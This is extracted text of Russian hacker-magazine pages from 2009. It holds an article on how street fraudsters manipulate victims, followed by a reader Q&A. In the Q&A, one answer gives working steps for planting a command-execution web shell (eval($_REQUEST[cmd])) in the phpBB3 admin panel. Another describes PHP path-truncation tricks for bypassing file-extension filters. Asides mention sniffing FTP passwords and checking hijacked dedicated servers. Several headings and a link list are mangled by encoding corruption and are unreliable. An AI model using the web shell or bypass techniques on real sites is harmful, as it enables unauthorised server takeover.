близкие контактытретьей степени.Íà÷àëî êîíòàêòà: âèçóàëüíàÿäèàãíîñòèêà К сожалению,много(тысяче)летние попытки исследователейсформулировать хорошо работающиеспособы выявить преступника (обманщика,убийцу, донжуана — нужное подчеркнуть) наосновании его внешности к XXI веку потерпелиполное и окончательное поражение. В связи сэтим у меня для тебя будут три огорчительныеновости:1. Физиогномика — наука о связи между внешнимобликом человека и принадлежностью его134к определенному типу личности — на самомделе является лженаукой, которая не работает.2. Теория Чезаре Ломброзо, известноготюремного психиатра, утверждавшего о связиформы черепа человека с его преступныминаклонностями, с годами потерпела крах всвязи с полным отсутствием научных томудоказательств.3. Паук из группы «Коррозия Металла» былнеправ, утверждая «никогда не доверяй человекусо шрамом» в своей песне «Человек сошрамом».Можно ориентироваться на свой опыт, пытаясьпо внешности отличить «хорошего» парня от«плохого», но полностью полагаться лишь навнешность нельзя.Ïðîäîëæåíèå êîíòàêòà:èíèöèàöèÿ îáùåíèÿ Визуальныйконтроль пройден, и теперь ничтоне мешает обманщику заговорить с нашимподопечным. Кстати, а почему? Что заставляетодного незнакомого человека отвечать другомунезнакомому, пусть и прилично выглядящему,человеку? Виной тому опять-таки нашапсихология. Человек социален, потребность вобщении в ряду его потребностей стоит лишьнемного ниже потребности в еде, воде и воздухе,и именно поэтому наша культура и воспитаниеобуславливают определенное количествонеписанных правил, одно из которых можносформулировать так: «не реагировать на чужойзапрос об общении — неприлично! Ответьхоть что-нибудь! Пусть не по делу, пусть грубо,пусть очень грубо, но отреагировать на самзапрос ты обязан». Если ты был в Египте илигулял на ВДНХ лет десять назад, то знаешь, чтоединственный выход избежать геморроя привстрече с толпами ловкачей, предлагающихтебе бесплатный утюг по рекламной акции —идти вперед с каменным лицом, ни на кого неглядя и ни на какие вопросы (даже матом, дажематом) не отвечая. С непривычки переключитьсвой внутренний файрвол в режим полнойневидимости так же трудно, как и научитьсявыдерживать чужой взгляд, но научиться этомустоит — атакам уличных обманщиков удобнеевсего противодействовать до того, как самаатака начнется. Потому что иначе общениеперейдет в следующую стадию…Ðàçâèòèå êîíòàêòà: îáùåíèåâ ðàçãàðå Итак, фейс-контрольпройден, контакт завязан, в результате чеголовкий гуманоид все же поймал тебя за язык,и теперь старается раскрутить на расставаниес некоторой суммой заветных космокредитов.Как он это будет делать? Во-первых, не дасттебе разорвать установленный контакт. Благодарявышеописанному механизму, прерватьразговор без «обоюдного согласия» внутреннесчитается очень, очень неприлично. Поэтомучеловек всегда стремится этого «согласия»достичь — в явной, либо в неявной форме.Кстати, если один человек посылает другого натри буквы, и другой человек при этом обижается,— это и есть разрыв контакта по обоюдномусогласию. Если же ответом на «а не пошел быты» будет «вот, смотри, утюг-то какой, он же целикомиз палладия, сделан древними греками,XÀÊÅÐ 12 /132/ 09


Кручу-верчу — многовыиграть хочу! Данныйвид фрауда, вроде бы,сейчас сильно сдал своипозицииС точки зрения асоциальногопсихопата, уголовныйкодекс — это менюразвлечений. Цена указанав колонке справапотрогай!», то это — не прерванноеввиду несогласия одной из сторонобщение, поэтому прерывающаясторона (т.е. ты) будет чувствоватьсебя дискомфортно. Выход прост —осознай (заранее осознай), чтоты человек свободный. С кемхочешь — разговариваешь, с кемне хочешь — не разговариваешь.У тебя нет никаких обязанностейпо отношению к уличным (не)знакомцам.Что, простые вещи? Простые — непростые, а большинство жертвинопланетных захватчиков этихвещей не разумеют, и потому ихобщение переходит в следующуюфазу. Хотя, стоп, здесь есть ещеодин момент (подтверждающийпредыдущее утверждение о том,что контакт проще не допустить,чем разорвать). Дело в том, что помере развития событий сопротивлятьсяразрыву контакта будет ужене одна твоя психология, а еще исам кидала со своими коллегами.За примерами достаточно обратитьсяк реальной жизни. Померилпять пар обуви на рынке и ничегоне купил? Продавец обижен идаже рассержен, он давит на тебя,утверждая нечто вроде «померил— так купи!» Спросил дорогу уводителя маршрутки, а сам поехална рядом стоящем автобусе (проезднойже есть :))? Злой шофершлет тебе в спину проклятия, хотя,казалось бы, чем ты, свободныйчеловек, ему обязан? С явнымиобманщиками ситуация аналогичнаи может развиваться болеебрутально, с вовлечением могучеготелосложения коллег и прочих«независимых» личностей.Ñòàäèÿ ìàíèïóëÿöèéИтак, общение в разгареи идет по разработанному злымпришельцем сценарию. Актеровв этом сценарии два — Манипуляциии Прямой Обман. Помнишьмою статью, посвященную манипуляциям,— «Театр корыстныхкукловодов» из сентябрьскогономера за этот год? Перечитайобязательно, поскольку манипулятивныеприемы во многом общиедля разных сфер человеческогообщения, и диалог «обманщикжертва»тому не исключение.Грамотно созданное ощущение дефицитавремени («вот тот человектоже хочет взять/купить/выиграть/уже выиграл, акция продлится доконца сегодняшнего дня, завтрауезжаю в Израиль, продаю забесценок — нужное подчеркнуть»),активное рассеивание внимания«пулеметной речью», уловкамифокусника или посредствомдействий коллег (цыганские дети,хаотично набегающие со всехсторон, — один из классическихпримеров рассеивания вниманияи отвлечения жертвы), применениепсихологических техник (в т.ч.НЛП, введение в состояние легкоготранса с помощью причудливойжестикуляции), и — вуаля, особая,уличная магия свершилась.Пациент оказался один на один скрасивой коробкой, наполненнойкирпичом или пачкой фальшивыхдолларов, обменянных на настоящиерубли, выиграл от мертвогоосла уши в беспроигрышнуюлотерею или заплатил за пророческуюбеседу с цыганкой всеминаличными финансами.Ìàòåðèàëû è ìåòîäûПо слухам, Брюс Ли говорилтак: «зачем усиливать своисильные стороны, если они и таксильные? Ослабляйте слабые, итогда они исчезнут совсем». Незнаю, можно ли верить Брюсу Лив интерпретации Олега Мальского(«Три недели из жизни лепилы»),поэтому мы пойдем другимпутем. Рассмотрим конкретныевиды мошенничеств, а заоднопознакомимся с теми уязвимостямив нашей психике, которыепозволяют их реализовывать.• Магическая атака (-100 здоровья,-10 к восстановлению). Долгимитысячелетиями наши с тобойдиковатые предки практиковалиразличные магические ништяки.Заговоры-заклинания, обереги итотемы, вуду и наговоры, —полный набор. Необразованныйнарод обращался за помощью кневедомому по той причине, что кизвестному обращаться смысла неимело — кругом мрак, грязь и ничегочеловеческого. За считанныестолетия все изменилось — человексам научился творить чудеса. Самодвижущиесяи летающие экипажи,чудесное оружие, побежденныеболезни и прекращенные эпидемии,сильно выросшая (несмотряна ужасные химические лекарстваи отвратительные антинатуральныевакцины) продолжительностьжизни. Цивилизация, так неодобряемаяКонаном Варваром, все женаступила, и никакие стигийскиеколдуны ее развитию помешатьне смогли. Благодаря вышеизложенному,в сознании современногочеловека возникла довольнопричудливая картина — с однойстороны на него давят тысячелетиясерости и шаманизма, а с другой— совершенно родная, банальная,обычная цивилизация (ведь настоящейдикости современный че-XÀÊÅÐ 12 /132/ 09 135


UNITSРеклама известной в прошлом пирамиды «МММ». Ну и на какуюцелевую аудиторию она была рассчитана?ловек и не видел никогда, цивилизация для негобанальна, а современные достижения вовсе некажутся чем-то чудесным). Данный парадоксрешается сознанием низкоинтеллектуальногочеловека очень просто: современные достиженияпривычны и общедоступны, а стало быть, сцелью получения настоящих ништяков нужно обращатьсяне к ним, а… куда? А больше и некуда. КПсихология обманщикамагии, астрологии, колдунам и шаманам.• Халява, рашен! Интересно, кто первым придумалприписать стремление к халяве (khalyava)исключительно нашим с тобой соотечественникам,и почему он посмел это сделать? Неизвестно,здесь мы можем только фантазировать— вероятно, потому, что в нашей стране вообщетрудно прожить без того, чтобы не словчить, неВ психологии и психиатрии есть интересное понятие под названием «асоциальное расстройстволичности». Разумеется, нельзя сказать, что им поражено 100% фраудеров :). Япривел его здесь потому, что для него можно представить очень интересное психологическоеописание, по крайней мере, часть которого будет справедлива для большинствазлоумышленников.• Асоциальность — в данном случае это не затворничество, заставляющее человека тупосидеть за компом и не выходить из дома дальше продуктового магазина, а пренебрежениесоциальными правилами и нормами. Законы, правила, ПДД и прочие кодексы воспринимаютсякак некие не для них (а для дураков, хе-хе) написанные документы, которыесовершенно необязательны для исполнения.• Безразличие, пофигизм, отсутствие сочувствия к окружающим. Что не исключаеттрепетно-покровительственного отношения к отдельным людям.• Бесчестность, безответственность (разумеется, если это выгодно). Грубо говоря, пословица«хозяин своего слова: хочу — даю, хочу — обратно беру» про них.• Исходя из вышеописанного, отношение к своим жертвам (да и к окружающим в целом)не как к людям, а как к ботам в компьютерной игре. Иначе говоря, для законченногосоциопата жизнь будет подобна игре в Fallout. У большинства ловкачей все это выглядитнесколько мягче.• Не воспринимает критику, убеждение, наказание. Всегда находит убедительное объяснениедля своих действий, а если попадет под раздачу, будет страдать не от угрызенийсовести, а от того, что не все в своей деятельности предусмотрел и все же попался.• Агрессия.• Неспособность к унылой, законной и регулярной трудовой деятельности. Грубо говоря:«закрыли игровой клуб — пойду впаривать поддельные утюги в переходе, отняли утюги —пойду рассылать спам про левые лекарства в интернете. Работать в офис за фиксированнуюзарплату и обед с 2-х до 3-х — не пойду».Сурово? Нет! Вполне неплохо, я бы даже сказал, прилично смотрится. Фактически, описанвожделенный альфа-самец, который, судя по статьям в гламурных журналах, должентак нравиться женщинам :). В принципе, каждый кидала вовсе не обязан обладать всемиуказанными особенностями характера, поскольку психология — не архитектура, а люди— всегда друг от друга все же отличаются. Здесь я привел патологический, крайне выраженный,преступный тип личности.136найти подешевле и не дать кому-нибудь на лапу:). А если учесть, что наценки на многие товары(в том числе и твой любимый z ) составляют+100% (и более) от оптовой цены, становитсявообще непонятно, как отличить болезненноеи безоглядное стремление к халяве, представляющеесобой широкую брешь в социальнойбезопасности гражданина, и здравомыслиеразумного товарища, нежелающего отслюнявливатьжадным коммерсантам слишком много.Ну да ладно, еще Публий Сир (если верить игре«Цивилизация») писал: «Каждый товар стоитровно столько, сколько за него заплатит покупатель»,поэтому обратимся к фактам.1. Выгодное не навязывают. Бесплатноене рекламируют. Хлеб за брюхом не ходит.Печально, но факт. Выгодная работа не рекламируетсебя спамом, деньги даром не достаются,а бесплатные семинары по заработку денегна бирже или еще каким-либо способом врядли стоит посещать. Помни закон Ломоносова:«ежели в одном месте отымется, то в другомместе обязательно прибавится». Устроителисеминаров вряд ли хотят, чтобы отымелосьименно в их кармане. Стало быть, отымеетсяего посетитель. Кажется, я немного согрешилпротив великого Ломоносова — в его законе небыло слова «отымется». В оригинале-то фигурирует«убыло и прибыло», но это меня не беспокоит,поскольку «отымется» звучит смешнее.Да, бесплатный gmail тоже не исключение —плата за бесплатную почту в виде просмотраконтекстной рекламы «выведи паразитов изорганизма», как-то связанной с моими письмамиколлегам, вполне достойна.2. Везение существует. Но в 99% для того,чтобы выиграть в лотерею, надо хотя быкупить лотерейный билет. «Лотереи» по адресуквартиры, номеру телефона, UIN’у или адресуэлектропочты проводят только и исключительнозлые инопланетные обманщики.3. За помощью обращаются к знакомым, проверенным,людям. К незнакомым за помощьюобращаются только кто? Правильно, товарищи изтретьего ряда! Только они. Казалось бы, простыевещи, а между тем, суммы денег, извлеченные изкарманов одних только американцев (не толькомы с тобой любим халяву) по «нигерийскимписьмам», исчисляются миллионами долларов.Если интересно, загугли на предмет «нигерийскихписем» и «Анна Мария Поэт». В концеконцов, проиметь 2,1 млн. баксов компании внадежде заполучить деньги репрессированногоповелителя негритянской страны (или что-то вэтом роде) без определенного таланта трудно.• «Право имеющие». Исторически так сложилось,что один человек определяет в другомчеловеке «имеющего право на» (распоряжаться,руководить, прессовать, указыватьдругим на то, что им надо делать) не путемизучения предъявляемых данным господиномудостоверений и мандатов, а просто в процессеобщения. А точнее, в самом-самом началеего: с подсознательного анализа позы, взгляда,голоса. Именно этой особенностью нашегос тобой устройства и пользуются прикиды-XÀÊÅÐ 12 /132/ 09


Остап Бендер — одиниз самых известныхкинообманщиковвающиеся Большими Людьмии представителями силовыхведомств мошенники. Бесспорно,с непривычки трудно оборватьи потребовать документы снекоего имперсонатора, увереннопредставляющегося капраломГалактической Полиции и требующегобыстро-быстро (манипуляциявременем!) внести взяткуза задержанного в Космопритонебрата, но… будь готов. Ключи теже: спокойствие, самооценка,способность взять легальнуюпаузу. В эту же категорию можноотнести хитрецов, прикидывающихсясостоятельными господамии под это дело проворачивающихсвои делишки в виде получениякредитов, авансов, льгот и левыхзаказов. Решение аналогично —не бойся оскорбить людей «недоверием».Только бизнес, ничеголичного :).• «Твари дрожащие». Обратнаяситуация — гуманоиды, искусноприкидывающиеся ранее обманутыми,напаренными и бесчестнокинутыми гражданами, усыпляютвнимание своих жертв. Чего плохогоможет ждать лидер (на самомтоделе, жертва) от столь жалкойличности, хронического лузера ибуквоеда? Казалось бы, ничего, нотвое внимание рассеяно, и вот ужежалкий буквоед, придирчиво изучающийусловия договора (как быне обманули!), добавляет туда нагибающийлично тебя подзаголовок.• Любовное попадалово. Можноли считать нашу с тобой убежденностьв тотальной собственнойпривлекательности для противоположногопола уязвимостью?Нет! Это круто! Это круто, Бивис.Я так считаю. Тем не менее,осмотрительным быть опять-такистоит — на этом светлом чувствепаразитируют слишком многие,и потери могут быть довольнозначительными — от полученияпо голове тяжелым предметом висходе случайного знакомства доПО СЛУХАМ, БРЮС ЛИ ГОВОРИЛ ТАК:«ЗАЧЕМ УСИЛИВАТЬ СВОИ СИЛЬНЫЕСТОРОНЫ, ЕСЛИ ОНИ И ТАК СИЛЬНЫЕ?ОСЛАБЛЯЙТЕ СЛАБЫЕ, И ТОГДА ОНИИСЧЕЗНУТ СОВСЕМ»Горячая пятерка правил о том, как уберечьсяот фрауда в реале-Ищи ништяки самостоятельно. Под лежачий камень вода не течет.• Запрети своей подружке контактировать с цыганами, гадалками и прочим оккультизмом.• Не контактируй с буйными коммивояжерами. Слушать их бредятину опасно, шанс попасться науловки есть (все-таки профессиональные манипуляторы). Лучше приди домой, поищи аналогичныйтовар в интернете.• Чтобы выиграть в лотерею, нужно сначала купить лотерейный билет. Бесплатно деньги, к сожалению,не раздают.• Избегай мошенничества при обмене бабла. В официальных обменниках курс может быть пониже,но зато и надеж… елки-палки, я гоню. И курс там бывает хреновый и напарить опять-такимогут :). Короче, смотри в оба. Контролируй и правильность курса, деньги сразу пересчитывай иподлинность их контролируй. Еще железный лоток рукой внутри ощупывай — хитрые кассирши досих пор последнюю купюру из пачки отделяют и зажимают ближе к своему краю. Типа, перед стекломпересчитали? Правильно? Бери пачку и свободен!Нигерийским письмам посвящена отдельная статьяВикипедиибанального воровства в исходе«пойдем же скорее ко мне» и прочегобрачного аферизма. Короче,разбирайся сам, не маленький.• Великие пирамиды. Эпическоешарлатанство, изобретенное давно,но все никак не сдающее своих позиций.Основано оно на одноминтересном факте из нашей с тобойпсихологии. Как это ни прискорбно,каждый человек считает себяумнее большинства других людей. Асуть дела в том, что по-настоящемуумные люди поняли, что самоличноискать людей, готовых принести имсвои деньги или услуги, довольнонапряжно, а точнее — невыгодно. Такпочему бы не запустить механизм: тынесешь деньги мне, тебе несут деньгитвои люди, твоим людям несут деньгиих люди. Стандартная пищеваяпирамида, только внизу пищевойпирамиды землян находится трава,которая питается халявной энергиейсолнца, а в конце мошеннических пирамиднаходится большое-большоеколичество обманутых человечков.Которые, правда, надеялись бытьхотя бы в середине. Кстати, я оченьсоветую тебе посмотреть на рекламумогучего АО «МММ» сейчас, когдаона приобрела чисто историческоезначение. Как можно было повестисьна такие ужасные ролики? А вот так.Реклама соответствовала времени инастроению граждан. Таков он был,средний гражданин. Леня Голубков.Купил жене сапоги :).В интернетах также процветаетинвайтно-реферальнопирамидальнаясистема, котораядалеко не всегда преследуетчисто мошеннические цели. Ивсе же, скиньте мне инвайтик накакой-нибудь сайт, где мне чистоза свое присутствие и несколькихрефералов (которые тоже раскидаютинвайтики) скинут почтойновый ноутбук. Авось и повезет, яже ничего не теряю :).Çàêëþ÷åíèå Нетникаких сомнений в том, чтоконкретных способов оказатьсянапаренным бесконечно много.Человеческий ум велик и могуч,каждый день он придумывает всеновые и новые методы заработкаденег нечестным путем. Способовтомного, но все они воздействуютна старые как мир уязвимости внашем с тобой сознании. Так что,дерзай, усиливай свои сильныестороны и не забывай про слабые.Удачи! zXÀÊÅÐ 12 /132/ 09137


МАГUNITSfaqunited@real.xakep.ruQ: Как одобрить/отклонить за один раз все заявкина вступление в друзья «ВКонтакте»?A: Специально для тебя команда hacked.su зарелизиламножество php-скриптов для подобныхцелей. Найти их можно по адресу http://hacked.su/scripts.php, а вот и сам список скриптов:1. Друзья:• Одобряем все заявки на вступление в друзья;• Отменяем все заявки на вступление в друзья;• Сохранение списка друзей на сервере, дажеесли он закрыт;• Удаляем всех друзей;2. Видео + аудио + фото:• Удаление всех аудиозаписей;• Удаление всех видеозаписей;• Скрипт для удаления отметок с Видео и Фото;• Скрипт для подтверждения отметок на Видео иФото;3. Альбомы:• Перемещение картинок/фото из одногоальбома в другой;• Создание множества альбомов;• Удаление пустых альбомов;• Скачиваем все картинки из альбома (Группа +Пользователь);4. Группы:• Автоматическое вступление в группы;• Удаляем все группы;• Удаление всех участников группы;• Удаление всех тем (обсуждения) в группе;• Чистим альбом группы от спама картинками;5. Вопросы:• Создание множества вопросов;• Удаление вопросов;6. Стена:• Удаляем все сообщения на стене;7. Сообщения:• Удаляем все входящие личные сообщения;8. Приложения:• Приглашение всех друзей;9. Настройки профиля:• Чистка черного списка пользователя.Q: Где бы найти наиболее полный список русскихи буржуйских социальных сетей?A: Недавно на Античате задались такимже вопросом и открыли специальную тему,посвященную сбору ссылок и описаний всехсуществующих в мире социальных сетей:https://forum.antichat.ru/thread140117.html.На данный момент в теме собрано около700 ссылок. Вот лишь краткая выдержка изсписков соцсетей от ErrorNeo:Êðóïíåéøèå ñîöñåòè ìèðà (150+), äëÿêàæäîé óêàçàíû åå õàðàêòåðèñòèêè/îñîáåííîñòè:http://en.wikipedia.org/wiki/List_of_social_networking_websitesÂñå ñîöñåòè Ãåðìàíèè + êðóïíåéøèåñîöñåòè ìèðà:http://fudder.de/artikel/2008/04/09/175-internetcommunitys/150 íàèáîëåå èçâåñòíûõ ñîöñåòåé âÈñïàíèè:http://es.wikipedia.org/wiki/Anexo:Redes_sociales_en_InternetÑïèñîê èç 16 èòàëüÿíñêèõ ñîöñåòåé:http://it.wikipedia.org/wiki/Rete_sociale18 íàèáîëåå èçâåñòíûõ ñîöñåòåé âîÔðàíöèè:138 XÀÊÅÐ 12 /132/ 09


http://fr.wikipedia.org/wiki/Reseautage_social22 êðóïíåéøèå ñîöñåòè ìèðà ñ îïèñàíèÿìè/ññûëêàìè:http://ru.wikipedia.org/wiki/Ñîöèàëüíàÿ_ñåòü_(Èíòåðíåò)Ñïèñîê èç 30 ðîññèéñêèõ (à òàêæåèíîñòðàííûõ, êîòîðûå ïîääåðæèâàþòðóññêèé ÿçûê) ñîöèàëüíûõñåòåé:http://ru.wikipedia.org/wiki/Øàáëîí:Ñîöèàëüíàÿ_ñåòü_(Èíòåðíåò)Q: Хочу проследить историю перемещенияодного домена по различным провайдерам. Какэто сделать?A: Советую воспользоваться популярнымв среде домейнеров сервисом www.1stat.ru, который собирает статистику по доменнымзонам RU и SU. Данный сервис сможетпредоставить тебе подробную статистику порегистраторам и владельцам указанных зон.По отдельным же сайтам предоставляется,собственно, история перемещения домена попровайдерам с момента регистрации домена,история whois, статистика liveinternet и актуальныйwhois. Также можно воспользоватьсяпоиском по следующим параметрам: доменноеимя, имя/название владельца, emailвладельца, телефон владельца, провайдер/набор NS, дата регистрации, дата разделегирования,дата освобождения, регистратор.Q: Как залить шелл в админке phpBB3?A: Для этой версии известного форумногодвижка в паблике существуют пока что дваспособа заливки шелла. Первый способ отDeepXhadow:1. Вкладка «Общие» Безопасность Разрешить php в шаблонах: Да;2. Вкладка «Стили» Компоненты стилей Шаблоны.С помощью встроенного редактора шаблоноввыбираем какой-нибудь файл и пишем в него: eval($_REQUEST[cmd])Далее применяем шаблон, идем на измененнуюстраницу и наслаждаемся нашим шеллом.Второй способ от _gr34t (модификацияпредыдущего способа для урезанных правна запись в файлы): Вкладка «Стили» Шаблоны Детали Сохранять шаблоны в:«Базе данных».Далее правим нужный шаблон (например,faq_body.html), заходим на http://site.com/forum/faq.php и снова пользуемся нашимшеллом.XÀÊÅÐ 12 /132/ 09Q: Хочу написать свой ICQ-клиент. Подскажи,где бы взять исходники готового клиента длянаглядности?A: Для начала изучения работы протоколаOSCAR, на котором построена ася, советуюизучить исходники заброшенного, но вполнерабочего и красивого проекта FAIM: http://roticv.rantx.com/faim.Далее тебе очень поможет небезызвестныйоткрытый мессенджер Miranda:http://miranda.googlecode.com — собственно,описание и исходники проекта; http://code.google.com/p/miranda/source/browse — просмотрисходников в онлайне.А если ты кодишь на Делфях, то изучение никакихпротоколов не потребуется — просто юзайкомпонент TICQClient :).Q: Не так давно сдох сервис intop20.com и емуподобные. Как теперь просматривать выдачугугла из-под амерского IP в амерских же датацентрах?A: Специально для тебя наш любимый Гугл создалсервис для тестирования рекламы в GoogleAdWords, который позволяет просматривать выдачупо одному и тому же кейворду в разных странах и наразных языках, независимо от твоего текущего IP.Например, для запроса «buy viagra» ссылка натестовую страницу адвордс будет выглядеть:http://www.google.com/search?adtest=on&hl=en&host=google.com&gl=US&q=buy+viagra&aq=f&oq=&aqi=.Если же ты не хочешь заморачиваться спараметрами в адресной строке, то зайди накастомную страничку сервиса: https://adwords.google.com/select/AdTargetingPreviewTool.Здесь можно манипулировать со следующимстаффом:• ключевое слово;• домен Google (например, google.co.uk);• язык отображения;• страна;• регион;• координаты.Как видишь, возможности Большого Братавпечатляют: настроив под себя различные параметры,ты увидишь разную выдачу в разныхдоменах, странах и регионах.Также хочу порекомендовать замечательныйсервис от 4seo.biz — скрипт проверки позицийв поисковиках (http://4seo.biz/tools/13). Здесьты сможешь проверить позицию своей страничкипо сразу нескольким ключевым словам ввыдаче google, bing, yahoo, rambler, yandex.Q: По каким уровням анонимности различаютсяпрокси?A: Всего существует 4 вида уровня анонимностипрокси-серверов:1. Transparent — прозрачные прокси, предназначенныене для сокрытия инфы о твоемIP-адресе, а для, например, кешированияинформации. Передают следующую информациюв переменных окружения:REMOTE_ADDR — IP-àäðåñ ïðîêñè;HTTP_VIA — IP-àäðåñ èëè èìÿ ïðîêñè;HTTP_X_FORWARDED_FOR — òâîé IP.2. Anonymous — простые анонимные прокси,которые подменяют твой IP на свой, но нескрывают того, что они являются проксями.Переменные окружения у них будут выглядетьследующим образом:REMOTE_ADDR — IP-àäðåñ ïðîêñè;HTTP_VIA — IP-àäðåñ èëè èìÿ ïðîêñè;HTTP_X_FORWARDED_FOR — IP-àäðåñïðîêñè.3. Distorting — искажающие прокси. Такжене скрывают того факта, что используетсяпроксик, но подменяют переменную окруженияHTTP_X_FORWARDED_FOR на случайныйIP-адрес.4. High anonymous/elite — самый безопасныйвид прокси. Скрывают даже сам факт того,что используется левый IP. Переменные окруженияв данном случае будут такими же, каки вовсе без использования проксей (тольковместо твоего адреса будет стоять адреспрокси):REMOTE_ADDR — IP-àäðåñ ïðîêñè;HTTP_VIA — ïóñòî;HTTP_X_FORWARDED_FOR — ïóñòî.Q: В каких еще случаях, кроме инклудов, работаетуязвимость PHP с обрезанием расширенияслешами http://site.com/?file=index.php///[...4096 /...]///.jpg?A: К сожалению, не раз описанная в z PHPfilepath truncation vulnerability работает тольков функциях инклуда: include, require, include_once, require_once. Но есть еще один нюанс,связанный с нормализацией пути в PHP: внекоторых функциях имя файла «file.php» будетравнозначно имени файла со слешем и точкойв конце (причем, таких последовательностейможет быть очень много) — «file.php/.», таккак эти символы просто-напросто вырезаютсяинтерпретатором. Благодаря этому фактустановится возможным обход множества фильтров,которые перед загрузкой/чтением файлапроверяют его расширение. А вот и списоктаких функций:1. (include|require)(_once)• GNU/Linux обрезает одну или более после-139


UNITSдовательностей из символов \x2F (/) и \x2E (.)в конце файла (не работает, если установленSuhosin patch);• Windows обрезает последовательности из \x20 ( ), \x22 ("), \x2E (.), \x3C ().2. fopen• GNU/Linux — те же символы \x2F (/) и \x2E (.)(опять все портит Suhosin);• Windows — \x2E (.), \x2F (/), \x5C (\);• FreeBSD — \x2F (/) and \x2E (.) (работает сSuhosin).3. move_uploaded_file• GNU/Linux опять \x2F (/) и \x2E (.) (работаетдаже при установленном Suhosin);• Windows — \x2E (.), \x2F (/), \x5C (\);• FreeBSD — \x2F (/) and \x2E (.) (работает сSuhosin).Более подробно о данном виде атак на файловуюсистему PHP ты сможешь прочитатьу авторов исследования: http://www.ush.it/<strong>2009</strong>/07/26/php-filesystem-attack-vectorstake-two.Q: Где можно быстро и легко определить скорость,страну, IP дедика?A: Специально для этих целей люди, занимающиесяпродажей/использованием дедиков,юзают сервис 2ip.ru, который позволяетопределять следующие параметры: имятвоего компьютера, операционная система,браузер, страна, провайдер, скоростьинтернет-соединения, средняя скоростьинтернета, время загрузки файла, времяреакции твоего компьютера, информацияоб IP-адресе, стартовая страница браузера,наличие IP в спам-базах, безопасностьтвоего компьютера, сетевые соединения,тестирование файрвола и множество другихне менее интересных фишек. Для проверкипросто зайди в любом браузере с дедика наупомянутый адрес.Q: По работе приходится использовать ISS, несмотряна все мои попытки перейти на Apache.Увы, поделать ничего не могу, но и отказатьсяот использования привычных .htacess не получается.Как быть?A: Рекомендую попробовать Helicon Ape(www.helicontech.com). Если кратко, этоэмулятор Apache'а для ISS 7. Наконец-томожно сделать .htaccess и mod_rewrite дляIIS. Сейчас Helicon Ape включает следующиемодули: mod_rewrite, mod_proxy, mod_auth,mod_gzip, mod_headers, mod_cache, mod_expires, mod_developer, mod_replace, mod_so, mod_speling, mod_usertrack. Продукткоммерческий, но бесплатная версия позволяетиспользовать тулзу для трех сайтов.Q: Во время работы под виндой очень нехватает grep. Дома устанавливаю дополнительныепакеты, реализующие никсовыеутилиты. Но что делать на других компьютерах— в особенности с полезными скриптами,которые я активно использую в работеежедневно?A: Мало кто знает, но в винде есть свояреализация утилиты grep, а точнее сказать,даже две аналогичные команды. Первая —find — неудобна в использовании, потомукак текст для поиска приходится обобщать вкавычки. Вторая команда — findstr — этогонедостатка лишена и к тому же позволяетиспользовать для поиска всю мощь регулярныхвыражений. Отыскать в выводе командыdir те директории, которые содержат всебе словосочетание Python, можно так:C:\>dir | findstr Python03.11.<strong>2009</strong> 14:08 Python26Результат налицо, но еще удобнее было бысоздать алиас для этой команды, чтобы вместоfindstr использовать привычный grep. Нетпроблем — создаем и его:echo findstr %1 %2 %3 %4 %5 >%systemroot%\grep.cmdВот теперь никаких трудностей:C:\>netstat -an | grep LISTENC:\>findstr LISTENTCP 0.0.0.0:135 0.0.0.0:0 LISTENINGTCP 0.0.0.0:445 0.0.0.0:0 LISTENINGTCP 0.0.0.0:554 0.0.0.0:0 LISTENINGTCP 0.0.0.0:2869 0.0.0.0:0 LISTENING...Аналогично создаются алиасы для:• ifconfigecho IF "%1"=="-a" (ipconfig /all)ELSE (ipconfig %1) > %systemroot%\ifconfig.cmd• man• lsecho %1 /?> %systemroot%\man.cmdecho dir %1 %2 %3 %4 %5ô >%systemroot%\ls.cmdQ: Замучался заливать на сервер файлы вебпроектапосле каждого исправления — делаюэто вручную через FTP-клиент. Подскажите, какэто делать наиболее правильно — ведь есть жевозможность вносить правки автоматически?A: Правильнее всего, конечно, использоватьсистему контроля версий — в этомслучае все изменения можно откатить.Несложно пишется скрипт, который будетзаливать на сервер самую актуальнуюверсию из SVN. Но если хочешь простойвариант — пожалуйста, воспользуйсяWinSCP (winscp.net). В этом случае,помимо автоматической загрузки файловна сервер (с включенной функцией Keepremote directory up to date), ты будешьиспользовать криптованное соединениепосредством SFTP вместо незащищенногоFTP, который передает файлы в открытомвиде. Смех смехом, а если посидеть соснифером где-нибудь в беспроводной сетиМака, то диву даешься, сколько паролейFTP можно награбить с, казалось бы, обычныхпосетителей фастфуда.Q: В чем прикол команды robocopy, которая появиласьв Vista и Windows 7?A: Robocopy (Robust File Copy) — это консольнаяутилита для репликации (то есть,не просто копирования) каталогов, заменаустаревшей xcopy (и, тем более, copy). Вообще,она была доступна как часть WindowsResource Kit уже давно, однако стандартнымкомпонентом стала лишь с Windows Vista,Windows 7 и Windows Server 2008. В robocopyпоявилась поддержка дополнительныхопций, в том числе для более точного выборафайлов для копирования, синхронизациии поддержки сети, логирования и т.д. Тулзаизначально разработана для отказоустойчивогокопирования каталогов и деревьевкаталогов. Она обладает возможностьюкопирования всех (или выборочных) NTFSатрибутов и свойств, имеет дополнительныйкод для перезапуска при применении ссетевым соединением в случае его разрывов.Чтобы воспользоваться всей мощьюутилиты, была написана специальная графическаяоболочка Robocopy GUI, которая современем превратилась в утилиту RichCopy(ищи на technet.microsoft.com).Q: Подскажите, пожалуйста, декомпилятор длякода на Java.A: Одна из последних «модных» программ— DJ Java Decompiler (http://members.fortunecity.com/neshkov/dj.html). Тулза с большой долей успехаможет превратить в исходный код скомпилированныебинарники CLASS-файлов(например, Java-апплеты). Причемты можешь тут же внести изменения спомощью встроенного редактора кода сподсветкой синтаксиса. Примечательно,что для работы не нужна установленнаяJVM и JDK, но если есть необходимостьсамому собрать JAR-архив и запуститьапплет вне контекста браузера, тогда неполенись их установить. z140XÀÊÅÐ 12 /132/ 09


